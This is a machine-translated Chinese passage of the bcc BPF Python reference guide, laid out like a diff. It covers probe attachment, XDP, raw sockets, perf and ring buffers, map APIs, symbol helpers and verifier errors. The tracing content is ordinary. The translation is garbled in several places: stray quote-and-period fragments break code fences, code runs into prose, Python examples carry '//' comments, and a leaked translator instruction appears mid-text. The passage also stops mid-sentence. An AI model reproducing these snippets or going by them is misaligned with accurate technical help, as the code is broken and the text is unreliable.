-[查找/examples](https://github.com/iovisor/bcc/search?q=attach_kretprobe+path%3Aexamples+language%3Apython&type=Code), -[查找/tools](https://github.com/iovisor/bcc/search?q=attach_kretprobe+path%3Atools+language%3Apython&type=Code) - -### 3. attach_tracepoint() - -语法:BPF.attach_tracepoint(tp="追踪点", fn_name="名称") - -检测由tracepoint描述的内核追踪点,并在命中时运行BPF函数name()。这是一种显式方式来操控 tracepoints。在前面的 tracepoints 部分讲解过的 ```TRACEPOINT_PROBE``` 语法是另一种方法,其优点是自动声明一个包含 tracepoint 参数的 ```args``` 结构体。在使用 ```attach_tracepoint()``` 时,tracepoint 参数需要在 BPF 程序中声明。 - -例如: - -```Python -# 定义 BPF 程序 -bpf_text = """ -#include - -struct urandom_read_args { - // 来自 /sys/kernel/debug/tracing/events/random/urandom_read/format - u64 __unused__; - u32 got_bits; - u32 pool_left; - u32 input_left; -}; - -int printarg(struct urandom_read_args *args) { - bpf_trace_printk("%d\\n", args->got_bits); - return 0; -}; -""" - -# 加载 BPF 程序 -b = BPF(text=bpf_text) -b.attach_tracepoint("random:urandom_read", "printarg") -``` - -注意,```printarg()``` 的第一个参数现在是我们定义的结构体。 - -代码示例: -[code](https://github.com/iovisor/bcc/blob/a4159da8c4ea8a05a3c6e402451f530d6e5a8b41/examples/tracing/urandomread-explicit.py#L41), -[search /examples](https://github.com/iovisor/bcc/search?q=attach_tracepoint+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=attach_tracepoint+path%3Atools+language%3Apython&type=Code) - -### 4. attach_uprobe() - -语法:```BPF.attach_uprobe(name="location", sym="symbol", fn_name="name" [, sym_off=int])```, ```BPF.attach_uprobe(name="location", sym_re="regex", fn_name="name")```, ```BPF.attach_uprobe(name="location", addr=int, fn_name="name")``` - -用于操控位于 ```location``` 中的库或二进制文件中的用户级别函数 ```symbol()```,使用用户级别动态跟踪该函数的入口,并将我们定义的 C 函数 ```name()``` 附加为在用户级别函数被调用时调用的函数。如果给定了 ```sym_off```,则该函数将附加到符号的偏移量上。真实的地址```addr```可以替代```sym```,在这种情况下,```sym```必须设置为其默认值。如果文件是非PIE可执行文件,则```addr```必须是虚拟地址,否则它必须是相对于文件加载地址的偏移量。 - -可以在```sym_re```中提供普通表达式来代替符号名称。然后,uprobes将附加到与提供的正则表达式匹配的符号。 - -在名字参数中可以给出库名而不带lib前缀,或者给出完整路径(/usr/lib/...)。只能通过完整路径(/bin/sh)给出二进制文件。 - -例如: - -```Python -b.attach_uprobe(name="c", sym="strlen", fn_name="count") -``` - -这将在libc中对```strlen()```函数进行插装,并在调用该函数时调用我们的BPF函数```count()```。请注意,在```libc```中的```libc```中的"lib"是不必要的。 - -其他例子: - -```Python -b.attach_uprobe(name="c", sym="getaddrinfo", fn_name="do_entry") -b.attach_uprobe(name="/usr/bin/python", sym="main", fn_name="do_main") -``` - -您可以多次调用attach_uprobe(),并将BPF函数附加到多个用户级函数。 - -有关如何从BPF工具获取参数的详细信息,请参见上一节uprobes。 - -原址示例: -[search /examples](https://github.com/iovisor/bcc/search?q=attach_uprobe+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=attach_uprobe+path%3Atools+language%3Apython&type=Code) - -### 5. attach_uretprobe() - -语法: ```BPF.attach_uretprobe(name="location", sym="symbol", fn_name="name")``` - -使用用户级动态跟踪从名为```location```的库或二进制文件中的用户级函数```symbol()```返回值的方式仪器化,并将我们定义的C函数```name()```附加到用户级函数返回时调用。 - -例如: - -```Python -b.attach_uretprobe(name="c", sym="strlen", fn_name="count") -```。这将使用libc库对```strlen()```函数进行插装,并在其返回时调用我们的BPF函数```count()```。 - -其他示例: - -```Python -b.attach_uretprobe(name="c", sym="getaddrinfo", fn_name="do_return") -b.attach_uretprobe(name="/usr/bin/python", sym="main", fn_name="do_main") -``` - -您可以多次调用attach_uretprobe(),并将您的BPF函数附加到多个用户级函数上。 - -有关如何对BPF返回值进行插装的详细信息,请参阅前面的uretprobes部分。 - -内部示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=attach_uretprobe+path%3Aexamples+language%3Apython&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=attach_uretprobe+path%3Atools+language%3Apython&type=Code) - -### 6. USDT.enable_probe() - -语法:```USDT.enable_probe(probe=probe, fn_name=name)``` - -将BPF C函数```name```附加到USDT探针```probe```。 - -示例: - -```Python -# 根据给定的PID启用USDT探针 -u = USDT(pid=int(pid)) -u.enable_probe(probe="http__server__request", fn_name="do_trace") -``` - -要检查您的二进制文件是否具有USDT探针以及它们的详细信息,可以运行```readelf -n binary```并检查stap调试部分。 - -内部示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=enable_probe+path%3Aexamples+language%3Apython&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=enable_probe+path%3Atools+language%3Apython&type=Code) - -### 7. attach_raw_tracepoint() - -语法:```BPF.attach_raw_tracepoint(tp="tracepoint", fn_name="name")``` - -对由```tracepoint```(仅```event```,无```category```)描述的内核原始跟踪点进行插装,并在命中时运行BPF函数```name()```。 - -这是一种明确的插装跟踪点的方法。早期原始跟踪点部分介绍的```RAW_TRACEPOINT_PROBE```语法是一种替代方法。 - -例如: - -```Python -b.attach_raw_tracepoint("sched_switch", "do_trace") -``` - -内部示例:"."[搜索 /工具](https://github.com/iovisor/bcc/search?q=attach_raw_tracepoint+path%3Atools+language%3Apython&type=Code) - -### 8. attach_raw_socket() - -语法: ```BPF.attach_raw_socket(fn, dev)``` - -将一个BPF函数附加到指定的网络接口。 - -```fn``` 必须是 ```BPF.function``` 类型,并且 bpf_prog 类型需要是 ```BPF_PROG_TYPE_SOCKET_FILTER``` (```fn=BPF.load_func(func_name, BPF.SOCKET_FILTER)```) - -```fn.sock``` 是一个非阻塞原始套接字,已经创建并绑定到 ```dev```。 - -所有处理 ```dev``` 的网络数据包都会在经过 bpf_prog 处理后,被复制到 ```fn.sock``` 的 ```recv-q``` 中。可以使用 ```recv/recvfrom/recvmsg``` 来从 ```fn.sock``` 接收数据包。需要注意的是,如果在 ```recv-q``` 满了之后没有及时读取,复制的数据包将会被丢弃。 - -可以使用这个功能来像 ```tcpdump``` 一样捕获网络数据包。 - -可以使用```ss --bpf --packet -p```来观察 ```fn.sock```。 - -示例: - -```Python -BPF.attach_raw_socket(bpf_func, ifname) -``` - -示例位置: -[搜索 /示例](https://github.com/iovisor/bcc/search?q=attach_raw_socket+path%3Aexamples+language%3Apython&type=Code) - -### 9. attach_xdp() - -语法: ```BPF.attach_xdp(dev="device", fn=b.load_func("fn_name",BPF.XDP), flags)``` - -改装由 ```dev``` 描述的网络驱动程序,然后接收数据包,并使用标志运行 BPF 函数 ```fn_name()```。 - -以下是可选的标志列表。 - -```Python -# from xdp_flags uapi/linux/if_link.h -XDP_FLAGS_UPDATE_IF_NOEXIST = (1 << 0) -XDP_FLAGS_SKB_MODE = (1 << 1) -XDP_FLAGS_DRV_MODE = (1 << 2) -XDP_FLAGS_HW_MODE = (1 << 3) -XDP_FLAGS_REPLACE = (1 << 4) -``` - -您可以像这样使用标志: ```BPF.attach_xdp(dev="device", fn=b.load_func("fn_name",BPF.XDP), flags=BPF.XDP_FLAGS_UPDATE_IF_NOEXIST)``` - -标志的默认值为0。这意味着如果没有带有 `device` 的xdp程序,fn将在该设备上运行。如果有一个正在运行的xdp程序与设备关联,旧程序将被新的fn程序替换。".当前,bcc不支持XDP_FLAGS_REPLACE标志。以下是其他标志的描述。 - -#### 1. XDP_FLAGS_UPDATE_IF_NOEXIST - -如果已经将XDP程序附加到指定的驱动程序上,再次附加XDP程序将失败。 - -#### 2. XDP_FLAGS_SKB_MODE - -驱动程序不支持XDP,但内核模拟支持它。 -XDP程序可以工作,但没有真正的性能优势,因为数据包无论如何都会传递给内核堆栈,然后模拟XDP - 这通常适用于家用电脑,笔记本电脑和虚拟化硬件所使用的通用网络驱动程序。 - -#### 3. XDP_FLAGS_DRV_MODE - -驱动程序具有XDP支持,并且可以将数据包直接传递给XDP,无需内核堆栈交互 - 少数驱动程序可以支持此功能,通常用于企业级硬件。 - -#### 4. XDP_FLAGS_HW_MODE - -XDP可以直接在NIC上加载和执行 - 只有少数NIC支持这一功能。 - -例如: - -```Python -b.attach_xdp(dev="ens1", fn=b.load_func("do_xdp", BPF.XDP)) -``` - -这将为网络设备```ens1```安装工具,并在接收数据包时运行我们定义的BPF函数```do_xdp()```。 - -不要忘记在最后调用```b.remove_xdp("ens1")```! - -示例: -[搜索/examples](https://github.com/iovisor/bcc/search?q=attach_xdp+path%3Aexamples+language%3Apython&type=Code), -[搜索/tools](https://github.com/iovisor/bcc/search?q=attach_xdp+path%3Atools+language%3Apython&type=Code) - -### 10. attach_func() - -语法:```BPF.attach_func(fn, attachable_fd, attach_type [, flags])``` - -将指定类型的BPF函数附加到特定的```attachable_fd```上。如果```attach_type```是```BPF_FLOW_DISSECTOR```,则预期该函数将附加到当前的网络命名空间,并且```attachable_fd```必须为0。 - -例如: - -```Python -b.attach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) -b.attach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) -```注意。当附加到“全局”钩子(xdp、tc、lwt、cgroup)时。如果程序终止后不再需要“BPF 函数”,请确保在程序退出时调用 `detach_func`。 - -示例中的内部代码: - -[search /examples](https://github.com/iovisor/bcc/search?q=attach_func+path%3Aexamples+language%3Apython&type=Code), - -### 11. detach_func() - -语法:```BPF.detach_func(fn, attachable_fd, attach_type)``` - -断开指定类型的 BPF 函数。 - -例如: - -```Python -b.detach_func(fn, cgroup_fd, BPFAttachType.CGROUP_SOCK_OPS) // 断开 cgroup_fd 上的 fn 函数 -b.detach_func(fn, map_fd, BPFAttachType.SK_MSG_VERDICT) // 断开 map_fd 上的 fn 函数 -``` - -示例中的内部代码: - -[search /examples](https://github.com/iovisor/bcc/search?q=detach_func+path%3Aexamples+language%3Apython&type=Code), - -### 12. detach_kprobe() - -语法:```BPF.detach_kprobe(event="event", fn_name="name")``` - -断开指定事件的 kprobe 处理函数。 - -例如: - -```Python -b.detach_kprobe(event="__page_cache_alloc", fn_name="trace_func_entry") // 断开 "__page_cache_alloc" 事件上的 "trace_func_entry" 函数 -``` - -### 13. detach_kretprobe() - -语法:```BPF.detach_kretprobe(event="event", fn_name="name")``` - -断开指定事件的 kretprobe 处理函数。 - -例如: - -```Python -b.detach_kretprobe(event="__page_cache_alloc", fn_name="trace_func_return") // 断开 "__page_cache_alloc" 事件上的 "trace_func_return" 函数 -``` - -## 调试输出 - -### 1. trace_print() - -语法:```BPF.trace_print(fmt="fields")``` - -该方法持续读取全局共享的 `/sys/kernel/debug/tracing/trace_pipe` 文件并打印其内容。可以通过 BPF 和 `bpf_trace_printk()` 函数将数据写入该文件,但该方法存在限制,包括缺乏并发跟踪支持。更推荐使用前面介绍的 BPF_PERF_OUTPUT 机制。 - -参数: - -- ```fmt```: 可选,可以包含字段格式化字符串,默认为 ```None```。 - -示例: - -```Python -# 将 trace_pipe 输出原样打印: -b.trace_print() - -# 打印 PID 和消息: -b.trace_print(fmt="{1} {5}") -``` - -示例中的内部代码: -[search /examples](https://github.com/iovisor/bcc/search?q=trace_print+path%3Aexamples+language%3Apython&type=Code)。"[搜索 /工具](https://github.com/iovisor/bcc/search?q=trace_print+path%3Atools+language%3Apython&type=Code) - -### 2. trace_fields() - -语法: ```BPF.trace_fields(nonblocking=False)``` - -该方法从全局共享的 /sys/kernel/debug/tracing/trace_pipe 文件中读取一行,并将其作为字段返回。该文件可以通过 BPF 和 bpf_trace_printk() 函数进行写入,但该方法有一些限制,包括缺乏并发追踪支持。我们更推荐使用之前介绍的 BPF_PERF_OUTPUT 机制。 - -参数: - -- ```nonblocking```: 可选参数,默认为 ```False```。当设置为 ```True``` 时,程序将不会阻塞等待输入。 - -示例: - -```Python -while 1: - try: - (task, pid, cpu, flags, ts, msg) = b.trace_fields() - except ValueError: - continue - [...] -``` - -内联示例: -[搜索 /示例](https://github.com/iovisor/bcc/search?q=trace_fields+path%3Aexamples+language%3Apython&type=Code), -[搜索 /工具](https://github.com/iovisor/bcc/search?q=trace_fields+path%3Atools+language%3Apython&type=Code) - -## 输出 API - -BPF 程序的正常输出有两种方式: - -- 每个事件: 使用 PERF_EVENT_OUTPUT、open_perf_buffer() 和 perf_buffer_poll()。 -- map 汇总: 使用 items() 或 print_log2_hist(),在 Maps 部分有介绍。 - -### 1. perf_buffer_poll() - -语法: ```BPF.perf_buffer_poll(timeout=T)``` - -该方法从所有打开的 perf 环形缓冲区中轮询,并对每个条目调用在调用 open_perf_buffer 时提供的回调函数。 - -timeout 参数是可选的,并以毫秒为单位计量。如果未提供,则轮询将无限期进行。 - -示例: - -```Python -# 循环调用带有回调函数 print_event 的 open_perf_buffer -b["events"].open_perf_buffer(print_event) -while 1: - try: - b.perf_buffer_poll() - except KeyboardInterrupt: - exit() -``` - -内联示例: -[代码](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L55)"."[搜索 /示例](https://github.com/iovisor/bcc/search?q=perf_buffer_poll+path%3Aexamples+language%3Apython&type=Code), -[搜索 /工具](https://github.com/iovisor/bcc/search?q=perf_buffer_poll+path%3Atools+language%3Apython&type=Code) - -### 2. ring_buffer_poll() - -语法: ```BPF.ring_buffer_poll(timeout=T)``` - -这个方法从所有已打开的ringbuf环形缓冲区中轮询数据,对每个条目调用在调用open_ring_buffer时提供的回调函数。 - -timeout参数是可选的,以毫秒为单位测量。如果没有指定,轮询将持续到没有更多的数据或回调函数返回负值。 - -示例: - -```Python -# 循环使用回调函数print_event -b["events"].open_ring_buffer(print_event) -while 1: - try: - b.ring_buffer_poll(30) - except KeyboardInterrupt: - exit(); -``` - -示例: -[搜索 /示例](https://github.com/iovisor/bcc/search?q=ring_buffer_poll+path%3Aexamples+language%3Apython&type=Code), - -### 3. ring_buffer_consume() - -语法: ```BPF.ring_buffer_consume()``` - -这个方法从所有已打开的ringbuf环形缓冲区中消费数据,对每个条目调用在调用open_ring_buffer时提供的回调函数。 - -与```ring_buffer_poll```不同,这个方法在尝试消费数据之前**不会轮询数据**。这样可以减少延迟,但会增加CPU消耗。如果不确定使用哪种方法,建议使用```ring_buffer_poll```。 - -示例: - -```Python -# 循环使用回调函数print_event -b["events"].open_ring_buffer(print_event) -while 1: - try: - b.ring_buffer_consume() - except KeyboardInterrupt: - exit(); -``` - -示例: -[搜索 /示例](https://github.com/iovisor/bcc/search?q=ring_buffer_consume+path%3Aexamples+language%3Apython&type=Code), - -## Map APIs - -Maps是BPF数据存储器,在bcc中用于实现表、哈希和直方图等更高层次的对象。 - -### 1. get_table() - -语法: ```BPF.get_table(name)```".返回一个table对象。由于可以将表格作为BPF项进行读取,因此此功能不再使用。例如:`BPF[name]`。 - -示例: - -```Python -counts = b.get_table("counts") - -counts = b["counts"] -``` - -这两者是等价的。 - -### 2. open_perf_buffer() - -语法:`table.open_perf_buffers(callback, page_cnt=N, lost_cb=None)` - -此操作基于BPF中定义的表格(`BPF_PERF_OUTPUT()`),将回调Python函数`callback`关联到在perf环形缓冲区中有数据可用时调用。这是从内核传输每个事件的数据到用户空间的推荐机制的一部分。可以通过`page_cnt`参数指定perf环形缓冲区的大小,默认为8个页面,必须是页数的2的幂次方。如果回调函数不能快速处理数据,则可能丢失某些提交的数据。`lost_cb`用于记录/监视丢失的计数。如果`lost_cb`是默认的`None`值,则只会打印一行消息到`stderr`。 - -示例: - -```Python -# 处理事件 -def print_event(cpu, data, size): - event = ct.cast(data, ct.POINTER(Data)).contents - [...] - -# 循环通过回调函数打印事件 -b["events"].open_perf_buffer(print_event) -while 1: - try: - b.perf_buffer_poll() - except KeyboardInterrupt: - exit() -``` - -请注意,传输的数据结构需要在BPF程序中以C方式声明。例如: - -```C -// 在C中定义输出数据结构 -struct data_t { - u32 pid; - u64 ts; - char comm[TASK_COMM_LEN]; -}; -BPF_PERF_OUTPUT(events); -[...] -``` - -在Python中,您可以让bcc自动生成C声明中的数据结构(建议方法): - -```Python -def print_event(cpu, data, size): - event = b["events"].event(data) -[...] -``` - -或者手动定义: - -```Python -# 在Python中定义输出数据结构 -TASK_COMM_LEN = 16 # linux/sched.h -class Data(ct.Structure): - _fields_ = [("pid", ct.c_ulonglong), - ("ts", ct.c_ulonglong), - ("comm", ct.c_char * TASK_COMM_LEN)]"。def print_event(cpu, data, size): - event = ct.cast(data, ct.POINTER(Data)).contents -[...] - - -在此处的示例中: -[code](https://github.com/iovisor/bcc/blob/v0.9.0/examples/tracing/hello_perf_output.py#L52), -[search /examples](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=open_perf_buffer+path%3Atools+language%3Apython&type=Code) - -### 3. items() - -语法: ```table.items()``` - -返回一个表中的键数组。它可以与BPF_HASH映射一起使用,从而获取并迭代键。 - -示例: - -```Python -# 打印输出 -print("%10s %s" % ("COUNT", "STRING")) -counts = b.get_table("counts") -for k, v in sorted(counts.items(), key=lambda counts: counts[1].value): - print("%10d \"%s\"" % (v.value, k.c.encode('string-escape'))) -``` - -此示例还使用```sorted()```方法按值排序。 - -在此处的示例中: -[search /examples](https://github.com/iovisor/bcc/search?q=items+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=items+path%3Atools+language%3Apython&type=Code)。 - -### 4. values() - -语法: ```table.values()``` - -返回一个表中的值数组。 - -### 5. clear() - -语法: ```table.clear()``` - -清除表:删除所有条目。 - -示例: - -```Python -# 每秒打印映射摘要: -while True: - time.sleep(1) - print("%-8s\n" % time.strftime("%H:%M:%S"), end="") - dist.print_log2_hist(sym + " return:") - dist.clear() -``` - -在此处的示例中: -[search /examples](https://github.com/iovisor/bcc/search?q=clear+path%3Aexamples+language%3Apython&type=Code), -[search /tools](https://github.com/iovisor/bcc/search?q=clear+path%3Atools+language%3Apython&type=Code)。 - -### 6. items_lookup_and_delete_batch() - -语法: ```table.items_lookup_and_delete_batch()```。返回一个使用一次BPF系统调用在表中的键的数组。可以与BPF_HASH映射一起使用以获取和迭代键。还会清除表:删除所有条目。 -您应该使用table.items_lookup_and_delete_batch()而不是table.items()后跟table.clear()。它需要内核v5.6。 - -示例: - -```Python -# 每秒打印调用率: -print("%9s-%9s-%8s-%9s" % ("PID", "COMM", "fname", "counter")) -while True: - for k, v in sorted(b['map'].items_lookup_and_delete_batch(), key=lambda kv: (kv[0]).pid): - print("%9s-%9s-%8s-%9d" % (k.pid, k.comm, k.fname, v.counter)) - sleep(1) -``` - -### 7. items_lookup_batch() - -语法: ```table.items_lookup_batch()``` - -使用一次BPF系统调用返回表中的键数组。可以与BPF_HASH映射一起使用以获取和迭代键。 -您应该使用table.items_lookup_batch()而不是table.items()。它需要内核v5.6。 - -示例: - -```Python -# 打印映射的当前值: -print("%9s-%9s-%8s-%9s" % ("PID", "COMM", "fname", "counter")) -while True: - for k, v in sorted(b['map'].items_lookup_batch(), key=lambda kv: (kv[0]).pid): - print("%9s-%9s-%8s-%9d" % (k.pid, k.comm, k.fname, v.counter)) -``` - -### 8. items_delete_batch() - -语法: ```table.items_delete_batch(keys)``` - -当keys为None时,它会清除BPF_HASH映射的所有条目。它比table.clear()更有效,因为它只生成一个系统调用。您可以通过给出一个键数组来删除映射的一个子集。这些键及其关联值将被删除。它需要内核v5.6。 - -参数: - -- keys是可选的,默认为None。 - -### 9. items_update_batch() - -语法: ```table.items_update_batch(keys, values)``` - -使用新值更新所有提供的键。两个参数必须具有相同的长度并且在映射限制之内(在1到最大条目之间)。它需要内核v5.6。 - -参数: - -- keys是要更新的键列表 -- values是包含新值的列表。### 10. print_log2_hist() - -语法: ```table.print_log2_hist(val_type="value", section_header="Bucket ptr", section_print_fn=None)``` - -以ASCII的形式打印一个表格作为log2直方图。该表必须以log2的形式存储,可使用BPF函数```bpf_log2l()```完成。 - -参数: - -- val_type: 可选,列标题。 -- section_header: 如果直方图有一个辅助键,多个表格将被打印,并且section_header可以用作每个表格的标题描述。 -- section_print_fn: 如果section_print_fn不为None,则将传递给bucket值。 - -示例: - -```Python -b = BPF(text=""" -BPF_HISTOGRAM(dist); - -int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req) -{ - dist.increment(bpf_log2l(req->__data_len / 1024)); - return 0; -} -""") -[...] - -b["dist"].print_log2_hist("kbytes") -``` - -输出: - -```sh - kbytes : count distribution - 0 -> 1 : 3 | | - 2 -> 3 : 0 | | - 4 -> 7 : 211 |********** | - 8 -> 15 : 0 | | - 16 -> 31 : 0 | | - 32 -> 63 : 0 | | - 64 -> 127 : 1 | | - 128 -> 255 : 800 |**************************************| -``` - -这个输出显示了一个多模式分布,最大模式是128->255 kbytes,计数为800。 - -这是一种高效的数据概括方法,因为概括是在内核中执行的,只有计数列被传递到用户空间。 - -实际示例: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=print_log2_hist+path%3Aexamples+language%3Apython&type=Code), -[搜索 /tools](https://github.com/iovisor/bcc/search?q=print_log2_hist+path%3Atools+language%3Apython&type=Code) - -### 11. print_linear_hist()".语法: ```table.print_linear_hist(val_type="value", section_header="Bucket ptr", section_print_fn=None)``` - -以ASCII字符形式打印一个线性直方图的表格。此功能旨在可视化小的整数范围,例如0到100。 - -参数: - -- val_type: 可选,列标题。 -- section_header: 如果直方图有一个二级键,则会打印多个表格,并且section_header可以用作每个表格的头部描述。 -- section_print_fn: 如果section_print_fn不为None,则会将bucket的值传递给它。 - -示例: - -```Python -b = BPF(text=""" -BPF_HISTOGRAM(dist); - -int kprobe__blk_account_io_done(struct pt_regs *ctx, struct request *req) -{ - dist.increment(req->__data_len / 1024); - return 0; -} -""") -[...] - -b["dist"].print_linear_hist("kbytes") -``` - -输出: - -```sh - kbytes : count distribution - 0 : 3 |****** | - 1 : 0 | | - 2 : 0 | | - 3 : 0 | | - 4 : 19 |****************************************| - 5 : 0 | | - 6 : 0 | | - 7 : 0 | | - 8 : 4 |******** | - 9 : 0 | | - 10 : 0 | | - 11 : 0 | | - 12 : 0 | | - 13 : 0 | | - 14 : 0 | | - 15 : 0 | |。 -```### 16 : 2 |**** | -[...] -``` - -这是一种高效的数据汇总方式,因为汇总是在内核中执行的,只有计数列中的值传递到用户空间。 - -现场示例: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=print_linear_hist+path%3Aexamples+language%3Apython&type=Code), -[搜索 /tools](https://github.com/iovisor/bcc/search?q=print_linear_hist+path%3Atools+language%3Apython&type=Code) - -### 12. open_ring_buffer() - -语法: ```table.open_ring_buffer(callback, ctx=None)``` - -此操作用于在BPF中定义为BPF_RINGBUF_OUTPUT()的表,并将Python回调函数```callback```与ringbuf环形缓冲区中有可用数据时调用相连。这是从内核向用户空间传输每个事件数据的新(Linux 5.8+)推荐机制的一部分。不同于perf缓冲区,ringbuf大小在BPF程序中指定,作为```BPF_RINGBUF_OUTPUT```宏的一部分。如果回调函数处理数据不够快,可能会丢失一些提交的数据。在这种情况下,事件应该更频繁地进行轮询和/或增加环形缓冲区的大小。 - -示例: - -```Python -# 处理事件 -def print_event(ctx, data, size): - event = ct.cast(data, ct.POINTER(Data)).contents - [...] - -# 循环并使用print_event回调函数 -b["events"].open_ring_buffer(print_event) -while 1: - try: - b.ring_buffer_poll() - except KeyboardInterrupt: - exit() -``` - -请注意,在BPF程序中,传输的数据结构需要在C中声明。例如: - -```C -// 在C中定义输出数据结构 -struct data_t { - u32 pid; - u64 ts; - char comm[TASK_COMM_LEN]; -}; -BPF_RINGBUF_OUTPUT(events, 8); -[...] -``` - -在Python中,您可以让bcc自动从C的声明中生成数据结构(推荐): - -```Python -def print_event(ctx, data, size): - event = b["events"].event(data) -[...] -``` - -或者手动定义: - -```Python".# 在Python中定义输出数据结构 -TASK_COMM_LEN = 16 # linux/sched.h -class Data(ct.Structure): - _fields_ = [("pid", ct.c_ulonglong), - ("ts", ct.c_ulonglong), - ("comm", ct.c_char * TASK_COMM_LEN)] - -def print_event(ctx, data, size): - event = ct.cast(data, ct.POINTER(Data)).contents -[...] - -``` - -在原地的示例: -[在/examples中搜索](https://github.com/iovisor/bcc/search?q=open_ring_buffer+path%3Aexamples+language%3Apython&type=Code), - -### 13. push() - -语法: ```table.push(leaf, flags=0)``` - -将元素推入堆栈或队列表。如果操作不成功,会引发异常。传递QueueStack.BPF_EXIST作为标志会使队列或堆栈丢弃最旧的元素,如果表已满。 - -在原地的示例: -[在/tests中搜索](https://github.com/iovisor/bcc/search?q=push+path%3Atests+language%3Apython&type=Code), - -### 14. pop() - -语法: ```leaf = table.pop()``` - -从堆栈或队列表中弹出一个元素。与```peek()```不同,```pop()```在返回元素之前会将其从表中移除。如果操作不成功,会引发KeyError异常。 - -在原地的示例: -[在/tests中搜索](https://github.com/iovisor/bcc/search?q=pop+path%3Atests+language%3Apython&type=Code), - -### 15. peek() - -语法: ```leaf = table.peek()``` - -查看堆栈或队列表头部的元素。与```pop()```不同,```peek()```不会将元素从表中移除。如果操作不成功,会引发异常。 - -在原地的示例: -[在/tests中搜索](https://github.com/iovisor/bcc/search?q=peek+path%3Atests+language%3Apython&type=Code), - -## 辅助方法 - -一些由bcc提供的辅助方法。请注意,因为我们在Python中,我们可以导入任何Python库及其方法,包括例如argparse、collections、ctypes、datetime、re、socket、struct、subprocess、sys和time等库。 - -### 1. ksym() - -语法: ```BPF.ksym(addr)``` - -将内核内存地址转换为内核函数名称,并返回该名称。 - -示例: - -```Python"。 -格式: 只返回转换后的内容,不包括原始文本。```markdown -print("内核函数:" + b.ksym(addr)) -``` - -例子: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=ksym+path%3Aexamples+language%3Apython&type=Code), -[搜索 /tools](https://github.com/iovisor/bcc/search?q=ksym+path%3Atools+language%3Apython&type=Code) - -### 2. ksymname() - -语法:```BPF.ksymname(name)``` - -将内核名称翻译为地址。这是ksym的反向过程。当函数名称未知时,返回-1。 - -例子: - -```Python -print("内核地址:%x" % b.ksymname("vfs_read")) -``` - -例子: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=ksymname+path%3Aexamples+language%3Apython&type=Code), -[搜索 /tools](https://github.com/iovisor/bcc/search?q=ksymname+path%3Atools+language%3Apython&type=Code) - -### 3. sym() - -语法:```BPF.sym(addr, pid, show_module=False, show_offset=False)``` - -将内存地址翻译为pid的函数名称,并返回。小于零的pid将访问内核符号缓存。`show_module`和`show_offset`参数控制是否显示函数所在的模块以及是否显示从符号开头的指令偏移量。这些额外参数的默认值为`False`。 - -例子: - -```python -print("函数:" + b.sym(addr, pid)) -``` - -例子: -[搜索 /examples](https://github.com/iovisor/bcc/search?q=sym+path%3Aexamples+language%3Apython&type=Code), -[搜索 /tools](https://github.com/iovisor/bcc/search?q=sym+path%3Atools+language%3Apython&type=Code) - -### 4. num_open_kprobes() - -语法:```BPF.num_open_kprobes()``` - -返回打开的k[ret]probe的数量。当使用event_re附加和分离探测点时,可以发挥作用。不包括perf_events读取器。 - -例子: - -```python -b.attach_kprobe(event_re=pattern, fn_name="trace_count") -matched = b.num_open_kprobes() -if matched == 0: - print("0个函数与\"%s\"匹配。程序退出。" % args.pattern) - exit() -``` - -例子:"[搜索 /示例](https://github.com/iovisor/bcc/search?q=num_open_kprobes+path%3Aexamples+language%3Apython&type=Code), -[搜索 /工具](https://github.com/iovisor/bcc/search?q=num_open_kprobes+path%3Atools+language%3Apython&type=Code) - -### 5. get_syscall_fnname() - -语法: ```BPF.get_syscall_fnname(name : str)``` - -返回系统调用的相应内核函数名。该辅助函数将尝试不同的前缀,并与系统调用名连接起来。请注意,返回值可能在不同版本的Linux内核中有所不同,有时会引起问题。 (见 [#2590](https://github.com/iovisor/bcc/issues/2590)) - -示例: - -```python -print("在内核中,%s 的函数名是 %s" % ("clone", b.get_syscall_fnname("clone"))) -# sys_clone 或 __x64_sys_clone 或 ... -``` - -现场示例: -[搜索 /示例](https://github.com/iovisor/bcc/search?q=get_syscall_fnname+path%3Aexamples+language%3Apython&type=Code), -[搜索 /工具](https://github.com/iovisor/bcc/search?q=get_syscall_fnname+path%3Atools+language%3Apython&type=Code) - -# BPF 错误 - -请参阅内核源码中的“Understanding eBPF verifier messages”部分,位于 Documentation/networking/filter.txt。 - -## 1. Invalid mem access - -这可能是因为试图直接读取内存,而不是操作BPF堆栈上的内存。所有对内核内存的读取必须通过 bpf_probe_read_kernel() 传递,以将内核内存复制到BPF堆栈中,在一些简单关联的情况下,bcc 重写器可以自动完成。bpf_probe_read_kernel() 执行所有必要的检查。 - -示例: - -```sh -bpf: Permission denied -0: (bf) r6 = r1 -1: (79) r7 = *(u64 *)(r6 +80) -2: (85) call 14 -3: (bf) r8 = r0 -[...] -23: (69) r1 = *(u16 *)(r7 +16) -R7 invalid mem access 'inv' - -Traceback (most recent call last): - File "./tcpaccept", line 179, in - b = BPF(text=bpf_text) - File "/usr/lib/python2.7/dist-packages/bcc/__init__.py", line 172, in __init__ - self._trace_autoload()". -/usr/lib/python2.7/dist-packages/bcc/__init__.py",第 612 行,_trace_autoload 中: - fn = self.load_func(func_name, BPF.KPROBE) - 文件 "/usr/lib/python2.7/dist-packages/bcc/__init__.py",第 212 行,load_func 中: - raise Exception("加载 BPF 程序 %s 失败" % func_name) -Exception: 加载 BPF 程序 kretprobe__inet_csk_accept 失败 -``` - -## 2. 无法从专有程序调用 GPL-only 函数 - -当非 GPL BPF 程序调用 GPL-only 辅助函数时,会出现此错误。要修复此错误,请勿在专有 BPF 程序中使用 GPL-only 辅助函数,或者将 BPF 程序重新授权为 GPL-compatible 许可证。请查看哪些 [BPF 